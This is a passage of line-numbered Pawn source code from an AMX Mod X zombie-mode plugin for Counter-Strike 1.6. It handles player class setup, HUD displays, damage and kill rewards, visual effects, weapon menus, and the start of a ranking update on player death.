5613 set_task(0.10, "TaskFlash", iVictim + 350, "", 0, "b", 0);
5614 return 0;
5615}
5616
5617MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
5618{
5619 remove_task(iPlayer + 250, 0);
5620 remove_task(iPlayer + 200, 0);
5621 remove_task(iPlayer + 350, 0);
5622 g_bZombie[iPlayer] = false;
5623 g_bFlashEnabled[iPlayer] = false;
5624 g_bFlash[iPlayer] = false;
5625 g_bNoDamage[iPlayer] = false;
5626 g_bFrozen[iPlayer] = false;
5627 g_iBurningDuration[iPlayer] = 0;
5628 drop_weapons ( iPlayer, 1 );
5629 drop_weapons ( iPlayer, 2 );
5630 g_iPlayerType[iPlayer] = 0;
5631 g_cClass[iPlayer] = "Human";
5632 give_item(iPlayer, "weapon_knife");
5633 strip_user_weapons(iPlayer);
5634
5635 if (bSurvivor)
5636 {
5637 g_iPlayerType[iPlayer] |= 4;
5638 g_cClass[iPlayer] = "Survivor";
5639 set_user_health(iPlayer, 3000);
5640 give_item(iPlayer, "weapon_ak47");
5641 cs_set_user_bpammo(iPlayer, 28, 9999);
5642 give_item(iPlayer, "weapon_xm1014");
5643 cs_set_user_bpammo(iPlayer, 5, 9999);
5644 give_item(iPlayer, "weapon_knife");
5645 g_bUnlimitedClip[iPlayer] = 1;
5646 if (!user_has_weapon(iPlayer, 4, -1))
5647 {
5648 give_item(iPlayer, "weapon_hegrenade");
5649 }
5650 }
5651 else if (bSniper)
5652 {
5653 g_iPlayerType[iPlayer] |= 8;
5654 g_cClass[iPlayer] = "Sniper";
5655 set_user_health(iPlayer, 2500);
5656 give_item(iPlayer, "weapon_awp");
5657 cs_set_user_bpammo(iPlayer, 18, 9999);
5658 give_item(iPlayer, "weapon_knife");
5659 g_bUnlimitedClip[iPlayer] = 1;
5660 }
5661 else
5662 {
5663 set_user_health(iPlayer, 150);
5664 give_item(iPlayer, "weapon_knife");
5665 menu_display(iPlayer, g_iSecondaryMenu, 0);
5666 client_cmd(iPlayer, "spk ZombieOutstanding/antidote");
5667 set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
5668 ShowSyncHudMsg(iPlayer, g_iAntidoteSync, "%s has used an antidote!", g_cName[iPlayer]);
5669 }
5670 if (fm_cs_get_user_team(iPlayer) != FM_CS_TEAM_CT)
5671 {
5672 remove_task (iPlayer + TASK_TEAM);
5673 fm_cs_set_user_team (iPlayer, FM_CS_TEAM_CT);
5674 fm_user_team_update (iPlayer);
5675 }
5676 static Float:fCurrentTime;
5677 fCurrentTime = get_gametime();
5678 if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
5679 {
5680 ChangeModel(iPlayer + 250);
5681 g_fLastChangedModel = fCurrentTime;
5682 }
5683 else
5684 {
5685 set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
5686 g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
5687 }
5688 ExecuteHamB(Ham_Item_PreFrame, iPlayer);
5689 return 0;
5690}
5691
5692public MessageScenario()
5693{
5694 if (get_msg_args() > 1)
5695 {
5696 new cSprite[8];
5697 get_msg_arg_string(2, cSprite, charsmax(cSprite));
5698 if (equal(cSprite, "hostage"))
5699 {
5700 return 1;
5701 }
5702 }
5703 return 0;
5704}
5705public MessageHostagepos()
5706{
5707 return 1;
5708}
5709
5710AddCommas ( iNum , szOutput[] , iLen )
5711{
5712 new szTmp [17] , iOutputPos , iNumPos , iNumLen;
5713
5714 iNumLen = num_to_str( iNum , szTmp , charsmax( szTmp ) );
5715
5716 if ( iNumLen <= 3 )
5717 {
5718 iOutputPos += copy ( szOutput [iOutputPos] , iLen , szTmp );
5719 }
5720 else
5721 {
5722 while ( ( iNumPos < iNumLen ) && ( iOutputPos < iLen ) )
5723 {
5724 szOutput[ iOutputPos++ ] = szTmp[ iNumPos++ ];
5725
5726 if ( ( iNumLen - iNumPos ) && !( ( iNumLen - iNumPos ) % 3 ) )
5727
5728 szOutput[ iOutputPos++ ] = ',';
5729 }
5730
5731 szOutput[ iOutputPos ] = EOS;
5732 }
5733 return iOutputPos;
5734}
5735
5736public MessageHealth(iMessage, iDestination, iEntity)
5737{
5738 static iHealth;
5739 iHealth = get_msg_arg_int(1);
5740 if (iHealth > 255)
5741 {
5742 if (!(iHealth % 256))
5743 {
5744 set_user_health(iEntity, get_user_health(iEntity) + 1);
5745 }
5746 set_msg_arg_int(1, get_msg_argtype(1), 255);
5747 }
5748 return 0;
5749}
5750
5751
5752public TaskRemoveMadness(iPlayer)
5753{
5754 set_user_rendering( iPlayer, kRenderFxNone, 0, 0, 0, kRenderNormal, 0 );
5755}
5756
5757public MessageMoney(iMessage, iDestination, iPlayer)
5758{
5759 if (g_bConnected[iPlayer])
5760 {
5761 cs_set_user_money ( iPlayer, 0 );
5762 }
5763 return 1;
5764}
5765
5766public CmdDrop(iPlayer)
5767{
5768 if (g_bConnected[iPlayer])
5769 {
5770 if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
5771 {
5772 user_drop_jetpack(iPlayer);
5773 return 1;
5774 }
5775 if (g_iPlayerType[iPlayer])
5776 {
5777 return 1;
5778 }
5779 }
5780 return 0;
5781}
5782
5783public CmdJoinTeam(iPlayer)
5784{
5785 static curTeam; curTeam = fm_cs_get_user_team ( iPlayer );
5786
5787 if (curTeam == FM_CS_TEAM_SPECTATOR || curTeam == FM_CS_TEAM_UNASSIGNED)
5788 {
5789 return PLUGIN_CONTINUE;
5790 }
5791
5792 menu_display(iPlayer, g_iGameMenu, 0);
5793
5794 return PLUGIN_HANDLED;
5795}
5796
5797public EventStatusValue(iPlayer)
5798{
5799 if (g_bConnected[iPlayer])
5800 {
5801 static cPoints[15];
5802 static cPacks[15];
5803 static cHealth[15];
5804 static iVictim;
5805 iVictim = read_data(2);
5806 if (g_bZombie[iVictim] == g_bZombie[iPlayer])
5807 {
5808 AddCommas(get_user_health(iVictim), cHealth, 14);
5809 AddCommas(g_iPacks[iVictim], cPacks, 14);
5810 AddCommas(g_iPoints[iVictim], cPoints, 14);
5811 new color1;
5812 if (g_bZombie[iPlayer])
5813 {
5814 color1 = 0;
5815 }
5816 else
5817 {
5818 color1 = 255;
5819 }
5820 new color2;
5821 if (g_bZombie[iPlayer])
5822 {
5823 color2 = 255;
5824 }
5825 else
5826 {
5827 color2 = 0;
5828 }
5829 set_hudmessage(color2, 50, color1, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
5830 ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s | Armor: %d | Packs: %s | Points: %s ]", g_cName[iVictim], cHealth, get_user_armor(iVictim), cPacks, cPoints);
5831 }
5832 if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
5833 {
5834 AddCommas(get_user_health(iVictim), cHealth, 14);
5835 set_hudmessage(175, 1, 30, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
5836 ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
5837 }
5838 }
5839 return 0;
5840}
5841
5842public TaskAdvertisements()
5843{
5844 set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
5845 if (g_iMessage >= g_iAdvertisementsCount)
5846 {
5847 g_iMessage = 0;
5848 }
5849 client_print_color(0, print_team_grey, g_cAdvertisements[g_iMessage]);
5850 g_iMessage += 1;
5851 return 0;
5852}
5853
5854public TaskHudXYZ()
5855{
5856 if (g_iHudMessage >= g_iHudAdvertisementsCount)
5857 {
5858 g_iHudMessage = 0;
5859 }
5860 set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
5861 show_hudmessage(0, g_cHudAdvertisements[g_iHudMessage]);
5862 g_iHudMessage += 1;
5863 return 0;
5864}
5865
5866public EventStatusValueHide(iPlayer)
5867{
5868 ClearSyncHud(iPlayer, g_iCenterMessageSync);
5869 return 0;
5870}
5871
5872public TaskHud(iTask)
5873{
5874 static cPoints[15];
5875 static cPacks[15];
5876 static cHealth[15];
5877 static iPlayer;
5878 iPlayer = iTask + -300;
5879 if (!g_bAlive[iPlayer])
5880 {
5881 iPlayer = pev ( iPlayer, pev_iuser2 );
5882 if (!g_bAlive[iPlayer])
5883 {
5884 return 0;
5885 }
5886 }
5887 if (iTask + -300 != iPlayer)
5888 {
5889 AddCommas(get_user_health(iPlayer), cHealth, 14);
5890 AddCommas(g_iPacks[iPlayer], cPacks, 14);
5891 AddCommas(g_iPoints[iPlayer], cPoints, 14);
5892 set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
5893 ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s%s^nClass: %s, Health: %s Armor: %d Packs: %s Points: %s^nFrom: %s, %s", g_vip[iPlayer] ? "(Gold Member ®)" : "", g_cName[iPlayer], g_cClass[iPlayer], cHealth, get_user_armor(iPlayer), cPacks, cPoints, g_country[iPlayer], g_city[iPlayer]);
5894 }
5895 else
5896 {
5897 AddCommas(get_user_health(iTask + -300), cHealth, 14);
5898 AddCommas(g_iPacks[iTask + -300], cPacks, 14);
5899 AddCommas(g_iPoints[iTask + -300], cPoints, 14);
5900 new color3;
5901 if (g_bZombie[iTask + -300])
5902 {
5903 color3 = 60;
5904 }
5905 else
5906 {
5907 color3 = 180;
5908 }
5909 new color4;
5910 if (g_bZombie[iTask + -300])
5911 {
5912 color4 = 135;
5913 }
5914 else
5915 {
5916 color4 = 120;
5917 }
5918 new color5;
5919 if (g_bZombie[iTask + -300])
5920 {
5921 color5 = 180;
5922 }
5923 else
5924 {
5925 color5 = 0;
5926 }
5927 set_hudmessage(color5, color4, color3, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
5928 ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "%s, Health: %s Armor: %d Packs: %s Points: %s", g_cClass[iTask + -300], cHealth, get_user_armor(iTask + -300), cPacks, cPoints);
5929 }
5930 TaskReward [iTask + -300] --;
5931
5932 if ( TaskReward [iTask + -300] == 0 )
5933 {
5934 TaskReward [iTask + -300] = 600;
5935
5936 client_print_color ( iTask + -300, print_team_grey, "^4[Zombie Outstanding]^1 You played^4 +10 minutes^1 then you receive^4 4^1 packs!");
5937
5938 g_iPacks [iTask + -300] += 4;
5939 }
5940 return 0;
5941}
5942
5943public TaskRemoveRender(i)
5944{
5945 set_user_rendering( i, kRenderFxNone, 0, 0, 0, kRenderNormal, 0 );
5946}
5947
5948public OnTouch(iWeapon, id)
5949{
5950 if ( !is_user_valid_connected ( id ) ) return HAM_IGNORED;
5951
5952 if ( g_bZombie [id] || ( ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8) && !g_bFake [id] ) ) return HAM_SUPERCEDE;
5953
5954 return HAM_IGNORED;
5955}
5956
5957public CmdNightVision(iPlayer)
5958{
5959 if (g_bFlash[iPlayer])
5960 {
5961 static Float:fCurrentTime;
5962 fCurrentTime = get_gametime();
5963 if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.50)
5964 {
5965 return 1;
5966 }
5967 g_fLastTime[iPlayer] = fCurrentTime;
5968 g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
5969 remove_task(iPlayer + 350, 0);
5970 if (g_bFlashEnabled[iPlayer])
5971 {
5972 set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
5973 }
5974 }
5975 return 1;
5976}
5977
5978public TaskCheckFlash(iPlayer)
5979{
5980 if (!g_bConnected[iPlayer] || g_bAlive[iPlayer])
5981 {
5982 return 0;
5983 }
5984 g_bFlashEnabled[iPlayer] = true;
5985 g_bFlash[iPlayer] = true;
5986 remove_task(iPlayer + 350, 0);
5987 set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
5988 return 0;
5989}
5990
5991public TaskFlash(iTask)
5992{
5993 new id = iTask + -350;
5994 static origin [3]; get_user_origin ( id, origin );
5995 message_begin ( MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, id );
5996 write_byte ( TE_DLIGHT );
5997 write_coord ( origin [0] );
5998 write_coord ( origin [1] );
5999 write_coord ( origin [2] );
6000 write_byte ( 90 );
6001 write_byte ( 0 );
6002 write_byte ( 160 );
6003 write_byte ( 100 );
6004 write_byte ( 2 );
6005 write_byte ( 0 );
6006 message_end ( );
6007}
6008
6009InfectionEffects ( id )
6010{
6011 static Origin [3]; get_user_origin ( id, Origin );
6012
6013 if ( !g_bFrozen [id] )
6014 {
6015 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
6016 write_short(4096)
6017 write_short(2048)
6018 write_short(0)
6019 write_byte(255)
6020 write_byte(0)
6021 write_byte(0)
6022 write_byte(255)
6023 message_end()
6024 }
6025
6026 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("Damage"), _, id)
6027 write_byte(0)
6028 write_byte(0)
6029 write_long(DMG_NERVEGAS)
6030 write_coord(0)
6031 write_coord(0)
6032 write_coord(0)
6033 message_end()
6034
6035 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenShake"), _, id)
6036 write_short(150000)
6037 write_short(25000)
6038 write_short(135000)
6039 message_end()
6040
6041 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6042 write_byte ( TE_IMPLOSION );
6043 write_coord ( Origin [0] );
6044 write_coord ( Origin [1] );
6045 write_coord ( Origin[2] );
6046 write_byte ( 150 );
6047 write_byte ( 32 );
6048 write_byte ( 3 );
6049 message_end ( );
6050
6051 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6052 write_byte ( TE_PARTICLEBURST );
6053 write_coord ( Origin [0] );
6054 write_coord ( Origin [1] );
6055 write_coord ( Origin [2] );
6056 write_short ( 50 );
6057 write_byte ( 70 );
6058 write_byte ( 3 );
6059 message_end ( );
6060
6061 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6062 write_byte ( TE_DLIGHT );
6063 write_coord ( Origin [0] );
6064 write_coord ( Origin [1] );
6065 write_coord ( Origin [2] );
6066 write_byte ( 20 );
6067 write_byte ( 240 );
6068 write_byte ( 0 );
6069 write_byte ( 0 );
6070 write_byte ( 2 );
6071 write_byte ( 0 );
6072 message_end ( );
6073}
6074
6075public TaskBurn ( iTask )
6076{
6077 static origin [3], flags;
6078 static iPlayer;
6079 iPlayer = iTask + -200;
6080 get_user_origin ( iPlayer, origin );
6081 flags = pev ( iPlayer, pev_flags );
6082
6083 if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
6084 {
6085 message_begin ( MSG_PVS, SVC_TEMPENTITY, origin );
6086 write_byte ( TE_SMOKE );
6087 write_coord ( origin [0] );
6088 write_coord ( origin [1] );
6089 write_coord ( origin [2] - 50 );
6090 write_short ( SmokeSpr );
6091 write_byte ( random_num (15, 20) );
6092 write_byte ( random_num (10, 20) );
6093 message_end ( );
6094
6095 remove_task(iTask, 0);
6096
6097 return;
6098 }
6099
6100 if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
6101 {
6102 client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
6103 }
6104
6105 if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
6106 {
6107 static Float: velocity [3];
6108
6109 pev ( iPlayer, pev_velocity, velocity );
6110
6111 xs_vec_mul_scalar ( velocity, 1.0, velocity );
6112
6113 set_pev ( iPlayer, pev_velocity, velocity );
6114 }
6115
6116 static health;
6117
6118 health = pev ( iPlayer, pev_health );
6119
6120 if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
6121
6122 fm_set_user_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
6123
6124 message_begin ( MSG_PVS, SVC_TEMPENTITY, origin );
6125
6126 write_byte ( TE_SPRITE );
6127
6128 write_coord ( origin [0] + random_num (-5, 5) );
6129
6130 write_coord ( origin [1] + random_num (-5, 5) );
6131
6132 write_coord ( origin [2] + random_num (-10, 10) );
6133
6134 write_short ( FlameSpr );
6135
6136 write_byte ( random_num (5, 10) );
6137
6138 write_byte ( 200 );
6139
6140 message_end ( );
6141
6142 g_iBurningDuration [iPlayer]--
6143}
6144
6145public ScreenShakeEffect ( id, const Float: Seconds )
6146{
6147 message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenShake" ), {0, 0, 0}, id )
6148 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6149 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6150 write_short ( 1<<13 );
6151 message_end ( );
6152}
6153
6154public ScreenFadeEffect ( id, const Float: Seconds, const Red, const Green, const Blue, const Alpha )
6155{
6156 message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenFade" ), _, id );
6157 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6158 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6159 write_short ( 0x0000 );
6160 write_byte ( Red );
6161 write_byte ( Green );
6162 write_byte ( Blue );
6163 write_byte ( Alpha );
6164 message_end ( );
6165}
6166
6167public _SecondaryMenu(iPlayer, iMenu, iItem)
6168{
6169 if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
6170 {
6171 static iChoice;
6172 static iDummy;
6173 static cBuffer[3];
6174 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
6175 iChoice = str_to_num(cBuffer);
6176 drop_weapons(iPlayer, 2)
6177 give_item(iPlayer, g_cSecondaryEntities[iChoice]);
6178 cs_set_user_bpammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
6179 menu_display(iPlayer, g_iPrimaryMenu, 0);
6180 }
6181 return 0;
6182}
6183
6184public _PrimaryMenu(iPlayer, iMenu, iItem)
6185{
6186 if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
6187 {
6188 static iChoice;
6189 static iDummy;
6190 static cBuffer[3];
6191 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
6192 iChoice = str_to_num(cBuffer);
6193 drop_weapons(iPlayer, 1)
6194 give_item(iPlayer, g_cPrimaryEntities[iChoice]);
6195 cs_set_user_bpammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
6196 if (!user_has_weapon(iPlayer, 4, -1))
6197 {
6198 give_item(iPlayer, "weapon_hegrenade");
6199 }
6200 if (!user_has_weapon(iPlayer, 25, -1))
6201 {
6202 give_item(iPlayer, "weapon_flashbang");
6203 }
6204 if (!user_has_weapon(iPlayer, 9, -1))
6205 {
6206 give_item(iPlayer, "weapon_smokegrenade");
6207 }
6208 }
6209 return 0;
6210}
6211
6212public TaskShowMenu(iPlayer)
6213{
6214 if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
6215 {
6216 menu_display(iPlayer, g_iSecondaryMenu, 0);
6217 }
6218 return 0;
6219}
6220
6221stock drop_weapons ( id, dropwhat )
6222{
6223 static Weapons [32], Num, i, WeaponID;
6224
6225 Num = 0;
6226
6227 get_user_weapons ( id, Weapons, Num );
6228
6229 for ( i = 0; i < Num; i ++ )
6230 {
6231 WeaponID = Weapons [i];
6232
6233 if ( ( dropwhat == 1 && ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM ) ) || ( dropwhat == 2 && ( ( 1 << WeaponID ) & SECONDARY_WEAPONS_BIT_SUM ) ) )
6234 {
6235 static DropName [32], WeaponEntity;
6236
6237 get_weaponname ( WeaponID, DropName, charsmax ( DropName ) );
6238
6239 WeaponEntity = fm_find_ent_by_owner ( -1, DropName, id );
6240
6241 set_pev ( WeaponEntity, pev_iuser1, cs_get_user_bpammo ( id, WeaponID ) );
6242
6243 engclient_cmd ( id, "drop", DropName );
6244
6245 cs_set_user_bpammo ( id, WeaponID, 0 );
6246 }
6247 }
6248}
6249
6250public OnTakeDamagePost(Victim)set_pdata_float(Victim, 108, 1.0, 5);
6251
6252public OnTakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
6253{
6254 if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return HAM_IGNORED;
6255
6256 if ( g_bRoundStart || g_bRoundEnd ) return HAM_SUPERCEDE;
6257
6258 if ( g_bNoDamage [Victim] ) return HAM_SUPERCEDE;
6259
6260 if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return HAM_SUPERCEDE;
6261
6262 if (!g_bZombie[Attacker])
6263 {
6264 if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
6265 {
6266 Damage = 3000.0;
6267 SetHamParamFloat(4, Damage);
6268 }
6269 else
6270 {
6271 if (g_iPlayerType[Attacker])
6272 {
6273 Damage *= 0.75;
6274 SetHamParamFloat(4, Damage);
6275 }
6276 if (g_bDoubleDamage[Attacker])
6277 {
6278 Damage *= 2.0;
6279 SetHamParamFloat(4, Damage);
6280 }
6281 if (((g_iWeapon[Attacker] == 28 && g_bGolden[Attacker]) || (g_iWeapon[Attacker] == 26 && g_bGoldenDeagle[Attacker])))
6282 {
6283 Damage *= 2.0;
6284 SetHamParamFloat(4, Damage);
6285 }
6286 g_fDamage[Attacker] += floatround(Damage);
6287 while (g_fDamage[Attacker] > 500.0)
6288 {
6289 g_iPacks[Attacker]++;
6290 g_fDamage[Attacker] -= 500.0;
6291 }
6292 if (++g_iPosition[Attacker] == 8)
6293 {
6294 g_iPosition[Attacker] = 0;
6295 }
6296 set_hudmessage(0, 40, 80, g_flCoords[g_iPosition[Attacker]][0], g_flCoords[g_iPosition[Attacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
6297 show_hudmessage(Attacker, "%0.0f", Damage);
6298 }
6299 return 1;
6300 }
6301
6302 if ( DamageType & 1<<24 ) return HAM_SUPERCEDE;
6303
6304 if ( g_iPlayerType[Attacker] & 1 )
6305 {
6306 if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
6307
6308 return HAM_IGNORED;
6309 }
6310 else if ( g_iPlayerType[Attacker] & 2 )
6311 {
6312 if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
6313
6314 return HAM_IGNORED;
6315 }
6316
6317 if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1) return HAM_IGNORED;
6318
6319 static Float: Armor; pev ( Victim, pev_armorvalue, Armor );
6320
6321 if ( Armor > 0.0 )
6322 {
6323 client_cmd(Victim, "spk ZombieOutstanding/armor_hit");
6324
6325 set_pev ( Victim, pev_armorvalue, floatmax ( 0.0, Armor - Damage ) );
6326
6327 return HAM_SUPERCEDE;
6328 }
6329 MakeZombie(Attacker, Victim, false, false, false);
6330 savePoints(Attacker)
6331 return HAM_SUPERCEDE;
6332}
6333
6334public client_damage ( iAttacker, iVictim, iDamage )
6335{
6336 if ( g_bZombie [iAttacker] || g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 1 ) return;
6337
6338 if ( ++ g_iPosition [iAttacker] == 8 ) g_iPosition [iAttacker] = 0;
6339
6340 set_hudmessage(0, 40, 80, g_flCoords[g_iPosition[iAttacker]][0], g_flCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
6341
6342 show_hudmessage(iAttacker, "%0.0f", iDamage);
6343}
6344
6345public OnKilled ( Victim, Attacker, shouldgib )
6346{
6347 g_bKilling[Victim] = false;
6348 g_bFlash[Victim] = true;
6349 g_bFlashEnabled[Victim] = true;
6350 g_bFrozen[Victim] = false;
6351 g_bTryder[Victim] = false;
6352 g_bGoldenDeagle[Victim] = false;
6353 g_bGolden[Victim] = false;
6354 g_bUnlimitedClip[Victim] = 0;
6355 remove_task(Victim + 350, 0);
6356 g_bAlive[Victim] = false;
6357 if ( g_bZombie [Victim] || !g_bZombie [Victim] )
6358 {
6359 remove_task(Victim + 200, 0);
6360 }
6361
6362 if (!g_bZombie[Attacker])
6363 {
6364 if (g_iPlayerType[Attacker] & 8)
6365 {
6366 static Origin [3]; get_user_origin ( Victim, Origin );
6367 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6368 write_byte ( TE_LAVASPLASH ) ;
6369 write_coord ( Origin [0] );
6370 write_coord ( Origin [1] );
6371 write_coord ( Origin [2] - 26 );
6372 message_end ( );
6373 if (random_num(1, 4) == 1)
6374 {
6375 g_iPoints[Attacker] += 1;
6376 savePoints(Attacker)
6377 set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
6378 ShowSyncHudMsg(Attacker, g_iRegenerationSync, "== SNIPER ==^n!!!Randomly got +1 point!!!^n[25% chance per zombie]");
6379 }
6380 }
6381 else
6382 {
6383 g_iPacks[Attacker]++;
6384 if (g_iPlayerType[Attacker])
6385 {
6386 g_iPoints[Attacker]++;
6387 savePoints(Attacker)
6388 }
6389 else
6390 {
6391 g_iPoints[Attacker] += 2;
6392 savePoints(Attacker)
6393 }
6394 remove_task(Victim + 200, 0);
6395 }
6396 if (g_iPlayerType[Attacker])
6397 {
6398 SetHamParamInteger(3, 2);
6399 }
6400 }
6401 else
6402 {
6403 g_iPacks[Attacker] += 2;
6404 if (g_iPlayerType[Attacker])
6405 {
6406 g_iPoints[Attacker]++;
6407 savePoints(Attacker)
6408 }
6409 if (g_iZombieClass[Attacker] == 6 && g_iPlayerType[Attacker])
6410 {
6411 SetHamParamInteger(3, 2);
6412 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, Attacker)
6413 write_short(4096)
6414 write_short(2048)
6415 write_short(0)
6416 write_byte(255)
6417 write_byte(0)
6418 write_byte(0)
6419 write_byte(255)
6420 message_end()
6421 }
6422 if (g_iPlayerType[Attacker])
6423 {
6424 SetHamParamInteger(3, 2);
6425 }
6426 }
6427 g_iKillsThisRound[Attacker]++;
6428 savePoints(Attacker)
6429 return;
6430}
6431
6432public inforem()
6433{
6434 if (g_bRoundStart) return
6435
6436 new z = GetZombies()
6437 new h = GetHumans()
6438
6439 if (z == 1 && h == 1)
6440 {
6441 new lasthuman = GetLastHuman()
6442 new lastzombie = GetLastZombie()
6443
6444 if (lasthuman != -1 && lastzombie != -1)
6445 {
6446 new zname[32], hname[32]
6447 get_user_name(lasthuman, hname, 31)
6448 get_user_name(lastzombie, zname, 31)
6449
6450 set_hudmessage(150, 150, 150, 0.69, 0.68, 0, 6.0, 2.0, 0.1, 0.2, -1)
6451 ShowSyncHudMsg(0, g_iVersusSync, "%s VS %s", hname, zname)
6452 }
6453
6454 return
6455 }
6456
6457 if (z == h || !z || !h) return
6458
6459 if (z < h)
6460 {
6461 if (z <= 8)
6462 {
6463 set_hudmessage(150, 150, 150, 0.78, 0.68, 2, 6.0, 1.0, 0.1, 0.2, -1)
6464 ShowSyncHudMsg(0, g_iRemainingSync, "%d zombie%s remaining...", z, z==1?"":"s")
6465 }
6466 }
6467
6468 else if (z > h)
6469 {
6470 if (h <= 8)
6471 {
6472 set_hudmessage(150, 150, 150, 0.78, 0.68, 2, 6.0, 1.0, 0.1, 0.2, -1)
6473 ShowSyncHudMsg(0, g_iRemainingSync, "%d human%s remaining...", h, h==1?"":"s")
6474 }
6475 }
6476}
6477
6478public OnDeathMsg()
6479{
6480 static Killer = 0, Victim = 0, bool:headShot = false, Weapon[64] = { 0, ... }, \
6481 victimIp[64] = { 0, ... }, killerIp[64] = { 0, ... }, timeNow = 0, bool:killerValid = false, \
6482 bool:victimValid = false, bool:victimBOT = false, bool:killerBOT = false;
6483
6484 Killer = read_data(1);
6485 Victim = read_data(2);
6486 headShot = bool:read_data(3);
6487 read_data(4, Weapon, charsmax(Weapon));
6488 ucfirst(Weapon);
6489 timeNow = get_systime();
6490 killerValid = isValidPlayer(Killer);
6491 victimValid = isValidPlayer(Victim);
6492 killerBOT = killerValid && is_user_bot(Killer) ? true : false;
6493 victimBOT = victimValid && is_user_bot(Victim) ? true : false;
6494
6495 if (Killer == Victim && killerValid && !killerBOT)
6496 {
6497 get_user_ip(Victim, victimIp, charsmax(victimIp), 1);
6498
6499 g_Deaths[Victim]++;
6500 g_Seen[Victim] = timeNow;
6501 format_time(g_seenString[Victim], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6502 formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
6503 g_Score[Victim] -= 5;
6504 g_kpdRatio[Victim] = computeKpdRatio(Victim);
6505 g_kmdValue[Victim] = computeKmdValue(Victim);
6506
6507 updateRank(Victim);
6508 }
6509
6510 else if (victimValid && !victimBOT && !killerBOT && (!killerValid || equali(Weapon, "World", 5)))
6511 {
6512 get_user_ip(Victim, victimIp, charsmax(victimIp), 1);
6513
6514 g_Deaths[Victim]++;
6515 g_Seen[Victim] = timeNow;
6516 format_time(g_seenString[Victim], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6517 formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
6518 g_Score[Victim] -= 5;
6519 g_kpdRatio[Victim] = computeKpdRatio(Victim);
